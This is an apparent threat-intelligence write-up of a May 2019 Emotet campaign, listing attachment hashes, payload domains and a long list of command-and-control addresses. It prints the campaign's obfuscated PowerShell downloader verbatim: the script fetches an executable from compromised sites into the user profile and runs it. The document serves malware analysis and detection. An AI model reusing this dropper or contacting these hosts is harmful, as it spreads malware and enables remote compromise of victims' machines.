2019-05-02 Emotet

2019-05-02 Emotet
=================

PoSH Code
---------
$F1XA_o='QAAAA41Q';
$UAGZQAU = '415';
$PA14AA='EAZC_ACD';
$rA_GZAU=$env:userprofile+'\'+$UAGZQAU+'.exe';
$U1B_QC='qAXUCD';
$DAAwAQ=&('new-obj'+'e'+'ct') nET.w`EbC`Lie`NT;
$cAAxoZ='http://hibara-ac.com/wp-content/uploads/r5zg416/@http://thitruonghaisan.com/wp-admin/d31l9/@https://www.limodc.net/bwi-car-rental/mpfg47/@http://ezviet.com/m267lxk/w1/@http://losgusano.com/emmw/z5vh6c090/'.SplIT('@');
$o_AUUc='F1BUAU';
foreach($NBokx_ in $cAAxoZ){try{$DAAwAQ.doWNLoAdfILE($NBokx_, $rA_GZAU);
$MDxUZB='KA4AZUG';
If ((&('Get-It'+'em') $rA_GZAU).lENgTh -ge 22607) {&('I'+'nvoke-I'+'te'+'m') $rA_GZAU;
$NZQDAU='SADxxkw';
break;
$iAAACD='nUAGU4U'}}catch{}}$X4UoBADk='MX4ZAQBk'

Hash for attachment
---------------------
c9d405ff0f955386c5afc4b2fdc9c3e7 --> https://www.virustotal.com/#/file/ad79acc87367bc014f33526b79ee8a0e71097eb2e383da4efa692e27e96273cb/detection

Hash for 'promptrelated'
------------------------
2DCCE6E396F1083583AD2FBAA86CB3E1 --> https://www.virustotal.com/#/file/acba54a4b5b72bba9b5b9036485fa0257c5dda20856f360dc8ea8cf0d764bac6/detection

Domains used
------------
http://hibara-ac.com/wp-content/uploads/r5zg416/
http://thitruonghaisan.com/wp-admin/d31l9/
https://www.limodc.net/bwi-car-rental/mpfg47/
http://ezviet.com/m267lxk/w1/
http://losgusano.com/emmw/z5vh6c090/

C2
---
189.196.140.187:80
POST 222.104.222.145:443/enable/glitch/ringin/merge
POST 200.58.171.51:80/usbccid
POST 222.104.222.145:443/pnp/results
POST 222.104.222.145:443/ringin
POST http://200.58.171.51/acquire/splash/loadan/merge/
POST http://189.196.140.187/teapot/teapot/loadan/merge/
POST http://222.104.222.145:443/cone/walk/loadan/
POST http://115.132.227.247:443/free/
POST http://190.85.206.228/prov/
POST http://159.69.211.211:8080/balloon/
POST http://185.94.252.27:443/acquire/
POST http://185.94.252.249:443/entries/
POST http://219.94.254.93:8080/forced/
POST http://66.228.45.129:8080/ringin/
POST http://181.30.126.66/mult/
POST http://109.104.79.48:8080/balloon/
POST http://200.114.142.40:8080/acquire/
POST http://23.254.203.51:8080/forced/
POST http://45.33.35.103:8080/ringin/
POST http://181.142.29.90/mult/
POST http://69.163.33.82:8080/health/
POST http://181.37.126.2/acquire/
POST http://91.205.215.57:7080/entries/
POST http://51.255.50.164:8080/forced/
POST http://175.107.200.27:443/ringin/
POST http://103.201.150.209/mult/
POST http://24.150.44.53/health/
POST http://139.59.19.157/raster/
POST http://66.209.69.165:443/entries/
POST http://192.163.199.254:8080/forced/
POST http://185.86.148.222:8080/ringin/
POST http://196.6.112.70:443/mult/
POST http://190.171.230.41/health/
POST http://181.199.151.19/raster/
POST http://62.75.143.100:7080/entries/
POST http://107.159.94.183:8080/forced/
POST http://81.3.6.78:7080/mult/
POST http://103.213.212.42:443/health/
POST http://181.29.101.13/raster/
POST http://186.71.54.77:20/entries/
POST http://85.132.96.242/tlb/
POST http://82.226.163.9/sess/
POST http://43.229.62.186:8080/enable/
POST http://190.117.206.153:443/health/
POST http://190.180.52.146:20/raster/
POST http://201.203.99.129:8080/entries/
POST http://5.9.128.163:8080/tlb/
POST http://109.73.52.242:8080/sess/
POST http://72.47.248.48:8080/health/
POST http://200.28.131.215:443/raster/
POST http://144.76.117.247:8080/glitch/
POST http://77.82.85.35:8080/tlb/
POST http://186.139.160.193:8080/sess/
POST http://189.205.185.71:465/enable/
POST http://210.2.86.72:8080/health/
POST http://213.172.88.13/raster/
POST http://200.107.105.16:465/glitch/
POST http://192.155.90.90:7080/tlb/
POST http://37.59.1.74:8080/sess/
POST http://165.227.213.173:8080/enable/
POST http://176.58.93.123:8080/codec/
POST http://187.188.166.192/raster/
POST http://200.58.171.51/glitch/
POST http://189.196.140.187/arizona/
POST http://222.104.222.145:443/srvc/
POST http://115.132.227.247:443/enable/
POST http://190.85.206.228/codec/
POST http://159.69.211.211:8080/scripts/
POST http://185.94.252.27:443/glitch/
POST http://185.94.252.249:443/arizona/
POST http://219.94.254.93:8080/srvc/
POST http://66.228.45.129:8080/enable/
POST http://181.30.126.66/codec/
POST http://109.104.79.48:8080/scripts/
POST http://200.114.142.40:8080/glitch/
POST http://23.254.203.51:8080/srvc/
POST http://45.33.35.103:8080/enable/
POST http://181.142.29.90/codec/
POST http://69.163.33.82:8080/scripts/
POST http://181.37.126.2/glitch/
POST http://91.205.215.57:7080/arizona/
POST http://51.255.50.164:8080/srvc/
POST http://175.107.200.27:443/devices/
POST http://103.201.150.209/codec/
POST http://24.150.44.53/scripts/
POST http://139.59.19.157/glitch/
POST http://66.209.69.165:443/arizona/
POST http://192.163.199.254:8080/srvc/
POST http://185.86.148.222:8080/devices/
POST http://196.6.112.70:443/codec/
POST http://190.171.230.41/enabled/badge/
POST http://181.199.151.19/symbols/balloon/loadan/
POST http://62.75.143.100:7080/loadan/health/
POST http://107.159.94.183:8080/child/site/loadan/
POST http://81.3.6.78:7080/iab/
POST http://103.213.212.42:443/between/
POST http://181.29.101.13/enabled/
POST http://186.71.54.77:20/vermont/
POST http://85.132.96.242/schema/
POST http://82.226.163.9/between/
POST http://43.229.62.186:8080/enabled/
POST http://190.117.206.153:443/prov/
POST http://190.180.52.146:20/schema/
POST http://201.203.99.129:8080/between/
POST http://5.9.128.163:8080/sym/
POST http://109.73.52.242:8080/prov/
POST http://72.47.248.48:8080/between/
POST http://200.28.131.215:443/sym/
POST http://144.76.117.247:8080/prov/
POST http://77.82.85.35:8080/schema/
POST http://186.139.160.193:8080/between/
POST http://189.205.185.71:465/sym/
POST http://210.2.86.72:8080/prov/
POST http://213.172.88.13/schema/
POST http://200.107.105.16:465/entries/
POST http://192.155.90.90:7080/sym/
POST http://37.59.1.74:8080/prov/
POST http://165.227.213.173:8080/schema/
POST http://176.58.93.123:8080/entries/
POST http://187.188.166.192/usbccid/
POST http://200.58.171.51/mult/
POST http://189.196.140.187/schema/
POST http://222.104.222.145:443/entries/
POST http://115.132.227.247:443/usbccid/
POST http://190.85.206.228/mult/
POST http://159.69.211.211:8080/attrib/
POST http://185.94.252.27:443/entries/
POST http://185.94.252.249:443/merge/rtm/loadan/merge/
POST http://219.94.254.93:8080/iab/acquire/loadan/merge/
POST http://66.228.45.129:8080/img/scripts/loadan/
POST http://181.30.126.66/health/window/
POST http://109.104.79.48:8080/stubs/enabled/loadan/
POST http://200.114.142.40:8080/symbols/usbccid/loadan/merge/
POST http://23.254.203.51:8080/attrib/glitch/
POST http://45.33.35.103:8080/codec/child/loadan/
POST http://181.142.29.90/between/
POST http://69.163.33.82:8080/pdf/
POST http://181.37.126.2/publish/
POST http://91.205.215.57:7080/cookies/
POST http://51.255.50.164:8080/codec/tlb/loadan/merge/
POST http://175.107.200.27:443/acquire/arizona/loadan/merge/
POST http://103.201.150.209/merge/loadan/loadan/
POST http://24.150.44.53/merge/free/
POST http://139.59.19.157/pnp/xian/loadan/
POST http://66.209.69.165:443/xian/
POST http://192.163.199.254:8080/symbols/
POST http://185.86.148.222:8080/health/
POST http://196.6.112.70:443/odbc/
POST http://190.171.230.41/sym/publish/
POST http://181.199.151.19/cab/schema/loadan/merge/
POST http://62.75.143.100:7080/site/attrib/loadan/merge/
POST http://107.159.94.183:8080/psec/prov/
POST http://81.3.6.78:7080/cab/iplk/loadan/merge/
POST http://103.213.212.42:443/site/cookies/loadan/merge/
POST http://181.29.101.13/health/badge/loadan/
POST http://186.71.54.77:20/xian/
POST http://85.132.96.242/symbols/
POST http://82.226.163.9/codec/
POST http://43.229.62.186:8080/odbc/
POST http://190.117.206.153:443/arizona/
POST http://190.180.52.146:20/symbols/
POST http://201.203.99.129:8080/codec/
POST http://5.9.128.163:8080/cab/
POST http://109.73.52.242:8080/arizona/
POST http://72.47.248.48:8080/cone/usbccid/loadan/
POST http://200.28.131.215:443/ringin/